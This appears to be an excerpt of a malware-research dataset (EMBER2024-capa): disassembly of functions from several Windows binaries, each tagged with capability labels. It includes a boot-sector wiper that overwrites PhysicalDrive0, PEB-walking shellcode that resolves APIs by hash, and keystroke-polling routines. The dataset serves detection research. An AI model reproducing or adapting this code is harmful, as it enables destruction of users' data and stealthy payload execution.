joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140913b10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14092a178]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140913ba5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140913c06
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1408ee410
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140927640
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140913cc1
sub ecx, 1
je 0x140913d34
sub ecx, 1
je 0x140913c70
cmp ecx, 1
je 0x140913c53
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140937640]
call fcn.1408ee410
jmp 0x140913d34
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140913840
test eax, eax
je 0x140913d34
jmp 0x140913bda
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140913d34
sub rax, rsi
cmp rax, rbp
jae 0x140913d34
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1408ee590
jmp 0x140913d34
cmp r8d, 4
jle 0x140913d34
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140913d34
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1408ee330
mov esi, eax
test eax, eax
je 0x140913d13
mov edx, 5
mov rcx, rbx
call fcn.140914800
mov eax, esi
jmp 0x140913bda
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1408fcc30
mov rcx, r14
call fcn.1408fcf10
test eax, eax
je 0x140913bd8
mov edx, 5
mov rcx, rbx
call fcn.140914800
mov eax, Ordinal_46
jmp 0x140913bda
Function at 0x140926ad0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140926b12
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140926b59
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140926bb2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140926b70
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140926bf3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14093cdca]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14093cdcb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140926bc0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140927b0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140927b56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140927b56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140927b56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140927b56
cmp dword [rcx + 0x84], 0xe
jbe 0x140927b56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140927b58
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004044d0]
mov dword [rax], 1
mov rax, qword [0x004044e0]
mov dword [rax], 1
mov rax, qword [0x004044b0]
mov dword [rax], 1
mov rax, qword [0x004043a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004044a0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404350]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Terminate process
Write file on windows

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
call sym.__main
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x40000000
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x4015d8
lea rcx, str.Cant_access_function...Exiting...
call sym.printf
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x1c4]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x200
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
cmp eax, 1
jne 0x401640
lea rcx, str.Please_restart_your_pc_now
call sym.printf
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40165a
lea rcx, str.Error...Exiting...
call sym.printf
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x250
pop rbp
ret
Function at 0x401ba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401d28
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401bec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401c75
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401bd0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401d5d
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401d40
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401c6e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401cd0
add dword [0x00407624], 1
cmp edi, 8
jae 0x401ca3
test dil, 4
jne 0x401d14
test edi, edi
je 0x401c98
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401d2f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401c98
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401cbc
jmp 0x401c98
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401c98
xor esi, esi
jmp 0x401bf7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401c98
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4024b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402504
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4024fb
test rsi, rsi
je 0x4024fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4024e0
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402740
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402750
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402760
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4027a1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402798
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4027a3
add rax, 0x28
cmp rax, r9
jne 0x402784
xor eax, eax
ret

Function at 0x402840
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004043a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4028ad
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4028ad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4028ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4028a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4028af
add rax, 0x28
cmp rax, r9
jne 0x402890
xor eax, eax
add rsp, 0x28
ret

Function at 0x4029b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004043a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x4029d0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4029c8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402a2d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402a24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a34
add rax, 0x28
cmp rax, r9
jne 0x402a10
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402a50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004043a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402abe
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402abe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402abe
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402abe
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402ab5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402ac5
add rcx, 0x28
cmp rcx, rax
jne 0x402aa0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402ad8
jmp 0x402abe
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402ae6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402abe
test r9d, r9d
jg 0x402ad0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402d50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [0x1400032c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.how_old_are_you:
mov dword [rsp + 0x20], ebx
call fcn.140001110
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___You_Are
call fcn.140001110
mov edx, dword [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._Years_old
call fcn.140001110
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001020

Function at 0x140001bcc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c16
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c18
xor al, al
add rsp, 0x28
ret
Function at 0x100002454
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100004758], rdi
je 0x1000024a2
cmp rax, rdi
jne 0x100002495
mov edi, 1
mov r12d, edi
jmp 0x1000024a7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100002479
mov edi, 1
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x1000024bd
mov ecx, 0x1f
call fcn.100135000
jmp 0x10000251a
mov eax, dword [0x100004750]
test eax, eax
jne 0x100002514
mov dword [0x100004750], edi
lea r13, [0x100001290]
lea rsi, [0x100001278]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100002506
test eax, eax
jne 0x100002506
mov rcx, qword [rsi]
test rcx, rcx
je 0x1000024fb
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1000024e4
test eax, eax
je 0x10000251a
mov eax, 0xff
jmp 0x1000025ec
mov dword [0x100004184], edi
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x100002541
lea rdx, [0x100001270]
lea rcx, [0x100001260]
call sub.msvcrt.dll__initterm
mov dword [0x100004750], 2
test r12d, r12d
jne 0x10000254f
xor eax, eax
xchg qword [0x100004758], rax
cmp qword [0x100004760], 0
je 0x100002578
lea rcx, [0x100004760]
call fcn.10000284c
test eax, eax
je 0x100002578
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100004760]
mov r8, qword [0x100004168]
mov rdx, qword [0x100004170]
mov ecx, dword [0x100004160]
call fcn.100001b54
mov dword [0x100004180], eax
cmp dword [0x100004164], 0
jne 0x1000025a8
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100004184], 0
jne 0x1000025bd
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100004180]
jmp 0x1000025ec
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.100002960
add rsp, 0x28
jmp 0x100002454
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400015b0
Capabilities:
Set thread local storage value

Disassembly:
cmp dword [0x140446300], 0
jne 0x1400015c5
xor edx, edx
mov ecx, 0x10001
jmp fcn.140002720
test rcx, rcx
je 0x1400015df
cmp dword [rcx + 0x1f0], 0
jne 0x1400015df
xor edx, edx
mov ecx, 0x1000a
jmp fcn.140002720
jmp fcn.1400065c0

Function at 0x140002350
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x140446300], 0
jne 0x140002365
xor edx, edx
mov ecx, 0x10001
jmp fcn.140002720
jmp fcn.140005300

Function at 0x1400033f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
lea ecx, [rdi + 0x10]
call qword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
mov eax, 1
test ecx, 0x80000000
lea ecx, [rax + 0x10]
cmovne edi, eax
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x140003427
or edi, 2
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14000343a
or edi, 4
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movsx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
or ecx, ebx
jns 0x14000345d
or edi, 8
mov eax, edi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140003470
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
lea ecx, [rdi + 0x10]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
mov eax, 1
test ecx, 0x80000000
lea ecx, [rax + 0x10]
cmovne edi, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400034a7
or edi, 2
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400034ba
or edi, 4
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x5b
movsx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
or ecx, ebx
jns 0x1400034dd
or edi, 8
mov eax, edi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140005300
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400c9438]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14000539a
nop dword [rax + rax]
cmp dword [rsp + 0x38], 0x12
jne 0x140005365
mov rbx, qword [0x140446c08]
test rbx, rbx
je 0x14000537b
mov rcx, rbx
call fcn.140001cc0
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140005353
jmp 0x14000537b
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140005340
mov rdi, qword [0x140446c10]
test rdi, rdi
je 0x1400054bd
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x98], rsi
call fcn.140003470
mov ecx, 0xa0
mov ebp, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0xa1
movzx ebx, ax
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
shr esi, 0xf
test ebx, ebx
jne 0x140005407
cmp byte [rdi + 0x1e0], 1
jne 0x140005407
xor r9d, r9d
xor r8d, r8d
mov edx, 0x154
mov rcx, rdi
mov dword [rsp + 0x20], ebp
call fcn.140002960
test esi, esi
mov rsi, qword [rsp + 0x98]
jne 0x140005433
cmp byte [rdi + 0x1e4], 1
jne 0x140005433
xor r9d, r9d
xor r8d, r8d
mov edx, 0x158
mov rcx, rdi
mov dword [rsp + 0x20], ebp
call fcn.140002960
cmp dword [rdi + 0x80], 0x34003
mov rbp, qword [rsp + 0x90]
jne 0x1400054bd
mov rcx, qword [rdi + 0x2c0]
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
cmp dword [rdi + 0x2e0], eax
jne 0x140005480
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
cmp dword [rdi + 0x2e4], eax
je 0x1400054bd
mov eax, ecx
mov rcx, qword [rdi + 0x2c0]
mov dword [rsp + 0x60], r8d
cdq
mov dword [rdi + 0x2e0], r8d
sub eax, edx
lea rdx, [rsp + 0x60]
sar eax, 1
mov dword [rsp + 0x64], eax
mov dword [rdi + 0x2e4], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400790d0
mov rbx, qword [rsp + 0xa0]
